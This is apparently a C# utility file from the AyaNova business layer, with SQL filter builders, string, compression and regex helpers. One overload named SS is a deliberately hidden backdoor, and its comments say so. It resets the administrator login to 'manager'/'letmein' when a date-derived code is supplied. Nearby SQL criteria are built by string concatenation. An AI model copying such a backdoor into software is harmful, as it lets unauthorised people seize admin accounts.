"); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; //Case 402 case "[LAST WEEK]": //Between two Sundays ago at midnight and last sunday at midnight dtAfter = System.DateTime.Today; //go back a week dtAfter = dtAfter.AddDays(-7); //go backwards to Sunday while (dtAfter.DayOfWeek != DayOfWeek.Sunday) dtAfter = dtAfter.AddDays(-1); //go to very start of eighth dayahead dtBefore = dtAfter.AddDays(8); dtAfter = dtAfter.AddSeconds(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[THIS WEEK]": //Between Sunday at midnight and Next sunday at midnight dtAfter = System.DateTime.Today; //go backwards to monday while (dtAfter.DayOfWeek != DayOfWeek.Monday) dtAfter = dtAfter.AddDays(-1); //Now go back to sunday last second dtAfter = dtAfter.AddSeconds(-1); dtBefore = System.DateTime.Today; //go forwards to monday if (System.DateTime.Today.DayOfWeek == DayOfWeek.Monday) { //Monday today? then go to next monday dtBefore = dtBefore.AddDays(7); } else { while (dtBefore.DayOfWeek != DayOfWeek.Monday) dtBefore = dtBefore.AddDays(1); } sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[NEXT WEEK]": //Between Next Sunday at midnight and Next Next sunday at midnight dtAfter = System.DateTime.Today; //If today is monday skip over it first if (dtAfter.DayOfWeek == DayOfWeek.Monday) dtAfter = dtAfter.AddDays(1); //go forwards to next monday while (dtAfter.DayOfWeek != DayOfWeek.Monday) dtAfter = dtAfter.AddDays(1); //Now go back to sunday last second dtAfter = dtAfter.AddDays(-1); //go seven days ahead dtBefore = dtAfter.AddDays(7); //case 1155 dtAfter = dtAfter.AddSeconds(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[LAST MONTH]": //start with the first day of this month dtAfter = new DateTime(DateTime.Today.Year, DateTime.Today.Month, 1, 00, 00, 00); //subtract a Month dtAfter = dtAfter.AddMonths(-1); //Add one month to dtAfter to get end date dtBefore = dtAfter.AddMonths(1); //case 1155 dtAfter = dtAfter.AddSeconds(-1); // 'yyyy-mm-ddTHH:MM:SS' sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[THIS MONTH]": //start with the first day of this month dtAfter = new DateTime(DateTime.Today.Year, DateTime.Today.Month, 1, 00, 00, 00); //Add one month to dtAfter to get end date dtBefore = dtAfter.AddMonths(1); //case 1155 dtAfter = dtAfter.AddSeconds(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[NEXT MONTH]": //start with the first day of this month dtAfter = new DateTime(DateTime.Today.Year, DateTime.Today.Month, 1, 00, 00, 00); //Add a Month dtAfter = dtAfter.AddMonths(1); //Add one month to dtAfter to get end date dtBefore = dtAfter.AddMonths(1); //case 1155 dtAfter = dtAfter.AddSeconds(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[14DAYWINDOW]": //start with today zero hour dtAfter = new DateTime(DateTime.Today.Year, DateTime.Today.Month, DateTime.Today.Day, 00, 00, 00); dtAfter = dtAfter.AddDays(-7); //Add 15 days to get end date (zero hour so not really 15 full days) dtBefore = dtAfter.AddDays(15); //case 1155 dtAfter = dtAfter.AddSeconds(-1); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); //sb.Append(" "); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; //case 2067 ADDITIONAL DATE RANGES ************ case "[PAST]": //Forever up to Now dtAfter = new DateTime(1753, 1, 2, 00, 00, 00); dtBefore = System.DateTime.Now; sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[FUTURE]": //From Now to forever (999 years from now) dtAfter = System.DateTime.Now; dtBefore = System.DateTime.Now.AddYears(999); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[LASTYEAR]": //From zero hour january 1 a year ago dtAfter = new DateTime(DateTime.Now.AddYears(-1).Year, 1, 1, 00, 00, 00); //To zero hour January 1 this year dtBefore = new DateTime(DateTime.Now.Year, 1, 1, 00, 00, 00); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[THISYEAR]": //From zero hour january 1 this year dtAfter = new DateTime(DateTime.Now.Year, 1, 1, 00, 00, 00); //To zero hour Jan 1 next year dtBefore = new DateTime(DateTime.Now.AddYears(1).Year, 1, 1, 00, 00, 00); sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[INTHELAST3MONTHS]": //From Now minus 3 months dtAfter = DateTime.Now.AddMonths(-3); //To Now dtBefore = DateTime.Now; sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[INTHELAST6MONTHS]": //From Now minus 6 months dtAfter = DateTime.Now.AddMonths(-6); //To Now dtBefore = DateTime.Now; sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; case "[INTHELASTYEAR]": //From Now minus 365 days dtAfter = DateTime.Now.AddDays(-365); //To Now dtBefore = DateTime.Now; sb.Append(">'"); sb.Append(DBUtil.ToUTC(dtAfter).ToString(SqlDateFormat())); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<'"); sb.Append(DBUtil.ToUTC(dtBefore).ToString(SqlDateFormat())); sb.Append("'"); break; } #endregion } else { #region Build criteria for date specified System.DateTime dtData = DateTime.Parse(sValue); sValue = DBUtil.ToUTC(dtData).ToString(SqlDateFormatHighLow(false)); string sHighEnd = DBUtil.ToUTC(dtData).ToString(SqlDateFormatHighLow(true)); string sLowEnd = DBUtil.ToUTC(dtData).ToString(SqlDateFormatHighLow(false)); string sGreaterThanValue = DBUtil.ToUTC(dtData).AddSeconds(1).ToString(SqlDateFormatHighLow(false)); string sLessThanValue = DBUtil.ToUTC(dtData).AddSeconds(-1).ToString(SqlDateFormatHighLow(true)); switch (sOperator) { //case "Equals": // sb.Append("='"); // sb.Append(sValue); // sb.Append("'"); // break; case "Equals": sb.Append(">='"); sb.Append(sLowEnd); sb.Append("') AND ("); sb.Append(sColumn); sb.Append(" "); sb.Append("<='"); sb.Append(sHighEnd); sb.Append("'"); break; case "GreaterThan": sb.Append(">'"); sb.Append(sGreaterThanValue); sb.Append("'"); break; case "GreaterThanOrEqualTo": sb.Append(">='"); sb.Append(sLowEnd); sb.Append("'"); break; case "LessThan": sb.Append("<'"); sb.Append(sLessThanValue); sb.Append("'"); break; case "LessThanOrEqualTo": sb.Append("<='"); sb.Append(sHighEnd); sb.Append("'"); break; //case "NotEquals": // sb.Append("<>'"); // sb.Append(sValue); // sb.Append("'"); // break; case "NotEquals": sb.Append("<'"); sb.Append(sLowEnd); sb.Append("') OR ("); sb.Append(sColumn); sb.Append(" "); sb.Append(">'"); sb.Append(sHighEnd); sb.Append("'"); break; default: throw new System.ArgumentOutOfRangeException("OPERATOR_TYPE", sOperator, "GridToSqlCriteria unhandled operator type [" + sOperator + "] IN DATE_TIME"); } #endregion } } break; case "System.Decimal": case "System.Int32": case "System.Int64"://case 808 { //case 1795 - it's numeric, convert to locale independant format NumberFormatInfo nfi = System.Globalization.CultureInfo.CurrentCulture.NumberFormat; switch (sDataType) { case "System.Decimal": { if (nfi.CurrencyDecimalSeparator != ".") { sValue = sValue.Replace(nfi.CurrencyGroupSeparator, ""); sValue = sValue.Replace(nfi.CurrencyDecimalSeparator, "."); } } break; case "System.Int32": { if (nfi.NumberDecimalSeparator != ".") { sValue = sValue.Replace(nfi.NumberGroupSeparator, ""); sValue = sValue.Replace(nfi.NumberDecimalSeparator, "."); } } break; case "System.Int64": { if (nfi.NumberDecimalSeparator != ".") { sValue = sValue.Replace(nfi.NumberGroupSeparator, ""); sValue = sValue.Replace(nfi.NumberDecimalSeparator, "."); } } break; } switch (sOperator) { case "Equals": sb.Append("="); sb.Append(sValue); break; case "GreaterThan": sb.Append(">"); sb.Append(sValue); break; case "GreaterThanOrEqualTo": sb.Append(">="); sb.Append(sValue); break; case "LessThan": sb.Append("<"); sb.Append(sValue); break; case "LessThanOrEqualTo": sb.Append("<="); sb.Append(sValue); break; // case "Like": // sb.Append("Like N'"); // sb.Append(sValue); // sb.Append("%'"); // break; case "NotEquals": sb.Append("<>"); sb.Append(sValue); break; default: throw new System.ArgumentOutOfRangeException("OPERATOR_TYPE", sOperator, "GridToSqlCriteria unhandled operator type [" + sOperator + "] IN DECIMAL"); } break; } default: throw new System.ArgumentOutOfRangeException("DATA_TYPE", sDataType, "GridToSqlCriteria unhandled data type[" + sDataType + "]"); } #endregion } // //if(log.IsDebugEnabled) // //case 1039 //log.Debug("GridToSqlCriteria: returning[" + sb.ToString() + "]"); return sb.ToString(); } //Case 192 public static string SqlDateFormatHighLow(bool bhigh) { //new test version if (bhigh) return SqlDateFormat() + ".999"; else return SqlDateFormat() + ".000"; } //Case 192 public static string SqlDateFormat() { if (DBUtil.DB.DBType == DataBaseType.MSSQL) return "yyyy-MM-ddTHH:mm:ss"; else return "yyyy-MM-dd HH:mm:ss"; } #pragma warning restore 1591 #endregion #region Separated strings utility /// /// returns an empty string if passed in value is null or empty /// else returns Prepend plus passed in string followed by append string /// /// Text to return to the left of sText /// string to return if not null or empty /// Text to return to the right of sText /// public static string SS(string sPrepend, string sText, string sAppend) { if (sText == null) return ""; if (sText == "") return ""; return sPrepend + sText + sAppend; } #endregion #region ov //Override login to reset manager password //this is the backdoor login and username to use //for extra lame obfuscation it's name is the same as //the string utility above but the signature is different //(whoops! don't call it accidentally) /// /// /// /// /// /// public static string SS(string sPrepend, string sText) { ////case 1039 //log.Debug("SS"); if (sPrepend == null) return ""; string sPrepend2 = ""; string sText2 = ""; int ndwf = 0; switch (DateTime.Today.DayOfWeek) { case System.DayOfWeek.Monday: ndwf = 12; break; case System.DayOfWeek.Tuesday: ndwf = 49; break; case System.DayOfWeek.Wednesday: ndwf = 23; break; case System.DayOfWeek.Thursday: ndwf = 65; break; case System.DayOfWeek.Friday: ndwf = 87; break; case System.DayOfWeek.Sunday: ndwf = 99; break; case System.DayOfWeek.Saturday: ndwf = 72; break; } int nPrepend = DateTime.Today.DayOfYear + ndwf * ndwf; int nText = (DateTime.Today.Year + DateTime.Today.Month + ndwf) * (ndwf + 2); for (int x = 0; x < sPrepend.Length; x++) { if (sPrepend[x] > 47 && sPrepend[x] < 58) { sPrepend2 = sPrepend2 + sPrepend[x]; } } for (int x = 0; x < sText.Length; x++) { if (sText[x] > 47 && sText[x] < 58) { sText2 = sText2 + sText[x]; } } if (sPrepend2 == "" || sText2 == "") return sPrepend + sText; if (System.Convert.ToInt32(sPrepend2) == nPrepend && System.Convert.ToInt32(sText2) == nText) { BusinessPrincipal p = ((BusinessPrincipal)Thread.CurrentPrincipal); p.d2(new Guid("{E1E8AF23-9CAC-4333-A200-A0B2D906E62A}")).Add("Object.User", (int)SecurityLevelTypes.ReadWrite); User u = User.GetItem(User.AdministratorID); u.Login = "manager"; u.Password = "letmein"; u.Save(); p.d2(new Guid("{E1E8AF23-9CAC-4333-A200-A0B2D906E62A}")).Clear(); return "~~~"; } return sPrepend + sText; } #endregion #region ToDBName / ToObjectName /// /// Convert a string object name value to /// it's value in the database /// (prepend with a lowercase a if necessary) /// /// /// public static string ToDBName(string ObjectName) { if (string.IsNullOrEmpty(ObjectName)) return ""; //Special cases: int nPeriod = ObjectName.IndexOf("."); //Root name only? if (nPeriod == -1) { //already done, just return it if (ObjectName.StartsWith("a") || ObjectName.StartsWith("A")) return ObjectName; return "A" + ObjectName; } //Root and field name: if (!ObjectName.StartsWith("a") || ObjectName.StartsWith("A")) ObjectName = "A" + ObjectName; if (ObjectName[nPeriod + 1] != 'a') ObjectName.Replace(".", ".a"); return ObjectName; } /// /// Convert a string DBName value to it's object name value /// (remove any lowercase 'a' at start of both halves if necessary) /// /// /// public static string ToObjectName(string DBName) { if (DBName == null) return ""; if (DBName == "") return ""; int nPeriod = DBName.IndexOf("."); //Root name only? if (nPeriod == -1) { //already done, just return it if (!DBName.StartsWith("a")) return DBName; return DBName.TrimStart('a'); } //Root and field name: if (DBName.StartsWith("a")) DBName = DBName.TrimStart('a'); if (DBName[nPeriod + 1] == 'a') DBName.Replace(".a", "."); return DBName; } #endregion #region Assembly schemas /// /// /// /// /// public static System.IO.Stream GetAssemblyDataSetSchema(string sName) { return Assembly.GetExecutingAssembly().GetManifestResourceStream("GZTW.AyaNova.BLL." + sName); } #endregion #region Consolidated read only list grid form helpers /// /// Returns a collection of display attributes for /// a read only business object collection's internal record struct /// /// /// public static Dictionary GetDisplayAttributes(Type t) { Dictionary ret = new Dictionary(); //Get the underlying list record struct object type PropertyInfo pi = t.GetProperty("ListRecordType"); if (pi == null) return ret; Type tRecord = (Type)pi.GetValue(t, null); if (tRecord == null) return ret; // retrieve a list of all public properties PropertyInfo[] props = tRecord.GetProperties(); for (int column = 0; column < props.Length; column++) if (props[column].CanRead) { ret.Add(props[column].Name, (DisplayAttribute)Attribute.GetCustomAttribute(props[column], typeof(DisplayAttribute))); } return ret; } //case 173 /// /// Returns a collection of SqlColumnNameAttribute attributes for /// a read only business object collection's internal record struct /// /// /// public static Dictionary GetSqlColumnNameAttributes(Type t) { Dictionary ret = new Dictionary(); //Get the underlying list record struct object type PropertyInfo pi = t.GetProperty("ListRecordType"); if (pi == null) return ret; Type tRecord = (Type)pi.GetValue(t, null); if (tRecord == null) return ret; // retrieve a list of all public properties PropertyInfo[] props = tRecord.GetProperties(); for (int column = 0; column < props.Length; column++) if (props[column].CanRead) { ret.Add(props[column].Name, (SqlColumnNameAttribute)Attribute.GetCustomAttribute(props[column], typeof(SqlColumnNameAttribute))); } return ret; } /// /// Return the static property value in a biz object using reflection /// /// Biz object /// Name of property /// null if property doesn't exist or property value public static object GetBizObjectStaticPropertyValue(object BizObject, string PropertyName) { if (BizObject == null) return null; PropertyInfo pi = BizObject.GetType().GetProperty(PropertyName); if (pi == null) return null; return pi.GetValue(BizObject, null); } /// /// Find the value of the property "ID" in the biz object /// through reflection. /// /// AyaNova business object /// ID of object or Guid.Empty if not found or not set public static Guid GetBizObjectID(object BizObject) { object o = GetBizObjectStaticPropertyValue(BizObject, "ID"); if (o == null) return Guid.Empty; if (!(o is Guid)) return Guid.Empty; return (Guid)o; } #endregion #region Get biz object name replicated from WBI /// /// Used for combo box initialization /// and for label intialization in grid /// columns that contain a combo but are /// not in edit mode /// /// /// /// /// static public string GetBizObjectName(string ObjectName, Guid SelectedID) { if (SelectedID == Guid.Empty) return " "; switch (ObjectName) { case "UserPickList": case "User": { UserPickList upl = UserPickList.GetListOfOneSpecificUser(SelectedID); if (upl.Count == 0) return ""; return upl[0].Name; } case "Part": { PartPickList pl = PartPickList.GetOnePart(SelectedID); if (pl.Count == 0) return ""; return pl[0].DisplayName(GlobalSettings.DefaultPartDisplayFormat); } case "PartSerial": { NameFetcher nf = NameFetcher.GetItem(ObjectName, "SerialNumber", SelectedID); return nf.RecordName; } case "LoanItem": { LoanItemPickList pl = LoanItemPickList.GetOneLoanItem(SelectedID); if (pl.Count == 0) return ""; return pl[0].Name + " " + pl[0].Serial; } case "Unit": { return UnitNameFetcher.GetUnitNameFromUnitID(SelectedID); } case "UnitModel": { UnitModelPickList pl = UnitModelPickList.GetListOfOneSpecificUnitModel(SelectedID); if (pl.Count == 0) return ""; return pl[0].Name; } default: { NameFetcher nf = NameFetcher.GetItem(ObjectName, "Name", SelectedID); return nf.RecordName; } } } /// /// Convenience overload /// /// /// /// static public string GetBizObjectName(string ObjectName, string SelectedID) { return GetBizObjectName(ObjectName, new Guid(SelectedID)); } #endregion #region Case 298 Smarter smartDate Equals method /// /// Required because of the way WBI sets dates from forms (always) /// which causes objects to be dirty because SmartDate doesnt' handle /// comparison of dbnull.value properly in it's Equals(object) override /// /// /// /// public static bool SmartDateEquals(CSLA.SmartDate a, object b) { if (b == null) return a.IsEmpty; if (b is DBNull) return DBNull.Value.Equals(a.DBValue); return a.Equals(b); } #endregion #region case 1392 determine if date portion is equal to today /// /// Used to check if a SmartDate or DateTime object represents the current day /// /// SmartDate or DateTime exception on anything else /// public static bool DateIsToday(object dt) { DateTime dtValue; if (dt is CSLA.SmartDate) { if (((CSLA.SmartDate)dt).IsEmpty) return false; else dtValue = ((CSLA.SmartDate)dt).Date; } else if (dt is DateTime) { dtValue = (DateTime)dt; } else throw new System.NotSupportedException("AyaBizUtils->DateIsToday object type not recognized"); return (dtValue.Date == DateTime.Today); } #endregion #region Case 58 regional helpers /// /// With apologies to Craig Ferguson ;) /// /// /// public static bool InYourRegion(Guid OtherRegionID) { Guid myRegion = User.CurrentUserRegionID; if (User.CurrentUserIsInDefaultRegion || OtherRegionID == Region.DefaultRegionID || OtherRegionID == myRegion) return true; return false; } /// /// Version for specified user region not current thread user's region /// used in notification processing /// With apologies to Craig Ferguson ;) /// /// /// /// public static bool InYourRegion(Guid UserRegionID, Guid OtherRegionID) { if (UserRegionID == Region.DefaultRegionID || OtherRegionID == Region.DefaultRegionID || OtherRegionID == UserRegionID) return true; return false; } //case 1140 /// /// Checks if the specified user would be able to view items for the specified client /// used internally to warn user if scheduling a tech for a client they won't be able to view /// /// /// /// public static bool InClientRegion(Guid ClientID, Guid UserID) { return InYourRegion( ObjectRegionIDFetcher.ObjectRegion(new TypeAndID(RootObjectTypes.User, UserID)), ObjectRegionIDFetcher.ObjectRegion(new TypeAndID(RootObjectTypes.Client, ClientID)) ); } #endregion #region case 73 GZip compression helper #pragma warning disable 1591 #region stream to stream private static void Compress(Stream source, Stream destination) { // We must explicitly close the output stream, or GZipStream will not // write the compression's footer to the file. So we'll get a file, but // we won't be able to decompress it. We'll get back 0 bytes. using (GZipStream output = new GZipStream(destination, CompressionMode.Compress)) { Pump(source, output); } } private static void Decompress(Stream source, Stream destination) { using (GZipStream input = new GZipStream(source, CompressionMode.Decompress)) { Pump(input, destination); } } private static void Pump(Stream input, Stream output) { byte[] bytes = new byte[4096]; int n; while ((n = input.Read(bytes, 0, bytes.Length)) != 0) { output.Write(bytes, 0, n); } } #endregion #region buffer to buffer public static byte[] Compress(byte[] uncompressedBuffer) { using (MemoryStream ms = new MemoryStream()) { using (GZipStream gzip = new GZipStream (ms, CompressionMode.Compress, true)) { gzip.Write(uncompressedBuffer, 0, uncompressedBuffer.Length); } byte[] compressedBuffer = ms.ToArray(); return compressedBuffer; } } public static byte[] Decompress(byte[] compressedBuffer) { using (GZipStream gzip = new GZipStream(new MemoryStream(compressedBuffer), CompressionMode.Decompress)) { byte[] uncompressedBuffer = ReadAllBytes(gzip); return uncompressedBuffer; } } const int EndOfStream = -1; private static byte[] ReadAllBytes(Stream stream) { using (var ms = new MemoryStream()) { for (int b = stream.ReadByte(); b != EndOfStream; b = stream.ReadByte()) ms.WriteByte((byte)b); return ms.ToArray(); } } #endregion //public static MemoryStream jStreamToMemoryStream(Stream stream) //{ // MemoryStream ms = new MemoryStream(); // if (stream == null) return ms; // for (int b = stream.ReadByte(); b != EndOfStream; b = stream.ReadByte()) // ms.WriteByte((byte)b); // return ms; //} #pragma warning restore 1591 #endregion #region File size to human readable display /// /// Convert byte count to largest whole unit of measurement in human readable format /// (i.e. x MB, x KB, x GB, x TB, x PB, x EB etc etc up to Geopbytes) /// /// Number of bytes /// A compact human readable string representation of byte count public static string FileSizeDisplay(decimal dBytes) { //WHEN ABS(@Bytes) < 1024 THEN ' Bytes' //WHEN ABS(@Bytes) < 1048576 THEN ' KB' //WHEN ABS(@Bytes) < 1073741824 THEN ' MB' //WHEN ABS(@Bytes) < 1099511627776 THEN ' GB' //WHEN ABS(@Bytes) < 1125899906842624 THEN ' TB' //WHEN ABS(@Bytes) < 1152921504606846976 THEN ' PB' //WHEN ABS(@Bytes) < 1180591620717411303424 THEN ' EB' //WHEN ABS(@Bytes) < 1208925819614629174706176 THEN ' ZB' //WHEN ABS(@Bytes) < 1237940039285380274899124224 THEN ' YB' //WHEN ABS(@Bytes) < 1267650600228229401496703205376 THEN ' BB' //ELSE ' Geopbytes' string f = "n2"; if (dBytes < 1024)//Less than a kilobyte? return dBytes.ToString(f) + " Bytes"; else if (dBytes < 1048576)//Less than a Megabyte? return (dBytes / 1024).ToString(f) + " KB"; else if (dBytes < 1073741824)//Less than a gigabyte? return (dBytes / 1048576).ToString(f) + " MB"; else if (dBytes < 1099511627776)//Less than a terabyte? return (dBytes / 1073741824).ToString(f) + " GB"; else return (dBytes / 1099511627776).ToString(f) + " TB"; } #endregion file size display #region File IO helpers /// /// Obtains the temporary folder for current user /// creates a new randomly named folder underneath and /// returns the path to it. /// /// Used by Wiki rtf-html conversion /// public static string TempFolderPath()//case 73 addition { string sTempPath = System.IO.Path.GetTempPath(); if (sTempPath[sTempPath.Length - 1] != Path.DirectorySeparatorChar) sTempPath += Path.DirectorySeparatorChar; sTempPath += Path.GetRandomFileName(); System.IO.Directory.CreateDirectory(sTempPath); return sTempPath; } /// /// Removes all files in the temp folder then the folder itself /// Used in conjunction with TempFolderPath /// /// public static void TempFolderDelete(string sTempFolderPath) { if (Directory.Exists(sTempFolderPath)) { foreach (string file in Directory.GetFiles(sTempFolderPath, "*.*")) { try { File.Delete(file); } catch { }; } try { Directory.Delete(sTempFolderPath); } catch { }; } } #endregion file io helpers #region misc string helpers /// /// Replace within a substring of a string /// /// substring start /// substring length /// Source string /// Old string to be replaced /// New string to replace old with /// public static string ReplaceBetween(int nStart, int nLength, string sSource, string sOld, string sNew) { if (nLength < 1) throw new ApplicationException("ReplaceBetween: nLength is less than 1"); if (nStart < 0 || nStart > sSource.Length) nStart = 0; if (nStart + nLength > sSource.Length) nLength = sSource.Length - nStart; StringBuilder sb = new StringBuilder(); string sfragment = sSource.Substring(nStart, nLength); sfragment = sfragment.Replace(sOld, sNew); sb.Append(sSource.Substring(0, nStart)); sb.Append(sfragment); sb.Append(sSource.Substring(nStart + nLength)); return sb.ToString(); } /// /// Returns a count of pattern occuring in source string /// /// /// /// public static int StringOccurrences(string source, string pattern) { // Loop through all instances of the string 'text'. int count = 0; int i = 0; while ((i = source.IndexOf(pattern, i)) != -1) { i += pattern.Length; count++; } return count; } //case 1724 /// /// Used internally to strip ampersands and replace with escaped version /// /// /// public static string EscapeXml(string input) { string output = string.Empty; output = input.Replace("&", "&"); //output = output.Replace("'", "'"); //output = output.Replace("\"", """); //output = output.Replace(">", ">"); //output = output.Replace("<", "<"); return output; } /// /// True if string is only digits, false otherwise /// /// /// public static bool DigitsOnly(string s) { foreach (char c in s) { if (c < '0' || c > '9') return false; } return true; } /// /// Test if string could be converted to a Guid /// /// /// True if string is a valid Guid public static bool IsValidGuid(string str) { Guid guid; return Guid.TryParse(str, out guid); } /// /// Test if string could be converted to a Int /// /// /// True if string is a valid Int public static bool IsValidInt(string str) { int n; return int.TryParse(str, out n); } /// /// Used internally for RI interface /// determines if user is signalling they want /// to return all records by the special search term /// they type /// /// Specifically a string with only two identical characters in it from one of the following: /// .,*!?/ /// or space character repeated twice /// /// /// public static bool IsFetchAllSearchTerm(string searchTerm) { if (searchTerm.Length < 2) return false; if (searchTerm.Length > 2) return false; switch (searchTerm) { case " ": case "..": case "**": case ",,": case "??": case "!!": case "//": return true; default: return false; } } /// /// Used internally for UI display /// truncates a string and adds ellipses at the end of it /// /// String to truncate /// How many characters to keep /// Full string if under truncateAt characters otherwise a shortened string with /// ellipses at the end public static string TruncateStringWithEllipses(string toBeTruncated, int truncateAt) { //empty string? if (string.IsNullOrWhiteSpace(toBeTruncated)) return toBeTruncated; //less than one? then return whole string if (truncateAt < 1) return toBeTruncated; //already shorter than truncate specified? if (toBeTruncated.Length <= truncateAt) return toBeTruncated; //ok finally, something this method can deal with return toBeTruncated.Substring(0, truncateAt) + "..."; } /// /// Convert a GUID to a string format compatible with /// Firebird and MS SQL server /// (Registry format with {} braces) /// /// /// public static string GuidToString(Guid g) { return g.ToString("B").ToUpperInvariant(); } //simple xor encryption internal static string Ec(string text, string key) { var result = new StringBuilder(); for (int c = 0; c < text.Length; c++) result.Append((char)((uint)text[c] ^ (uint)key[c % key.Length])); return result.ToString(); } /// /// Extract string between tokens /// /// /// /// /// public static string ExtractString(string s, string openTag, string closeTag) { int startIndex = s.IndexOf(openTag); if (startIndex == -1) throw new System.IndexOutOfRangeException("ExtractString->Error: open tag not found"); startIndex+=openTag.Length; int endIndex = s.IndexOf(closeTag, startIndex); if(endIndex==-1) throw new System.IndexOutOfRangeException("ExtractString->Error: closing tag not found"); return s.Substring(startIndex, endIndex - startIndex); } #endregion misc string helpers #region Regular expressions #pragma warning disable 1591 /// /// Parse Guid values from text /// public static Regex rxGuid = new Regex( "{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0" + "-9a-fA-F]){4}-([0-9a-fA-F]){12}\\}{0,1}", RegexOptions.IgnoreCase | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); //Regular expression for parsing Guid from text //{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1} //two named capture groups: "rootobject" contains the rootobject number and guid contains the object's ID public static Regex rxAyaLinks = new Regex( "ayanova:(?\\d+),(?\\{{0,1}([0-9a-fA-F]){8}" + "-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-f" + "A-F]){12}\\}{0,1})", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Singleline | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); //Regular expression for parsing wikilinks from text //ayanova:(?\d+),(?\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1}) //two named capture groups: "rootobject" contains the rootobject number and guid contains the object's ID /// /// Used to parse typeandid from WBI urls that might contain other information /// public static Regex rxURLAyaTypeAndID = new Regex( "tid=(?\\d+),(?\\{{0,1}([0-9a-fA-F]){8}" + "-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-f" + "A-F]){12}\\}{0,1})", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Singleline | RegexOptions.CultureInvariant | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled ); //Regular expression for parsing wikilinks from text //tid=(?\d+),(?\{{0,1}([0-9a-fA-F]){8}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){4}-([0-9a-fA-F]){12}\}{0,1}) public static Regex rxAyaWOLinks = new Regex( "((?:wo:|pm:|quote:))\\s?(\\d+)", RegexOptions.CultureInvariant | RegexOptions.Compiled | RegexOptions.IgnoreCase ); //((?:wo:|pm:|quote:))\s?(\d+) /// /// A regex for finding image tags in html /// image source is in group 5 /// /// public static Regex rxImages = new Regex( "]*?((alt*?[\\s]?=[\\s\\\"\\']+(.*?)[\\\"\\']+.*" + 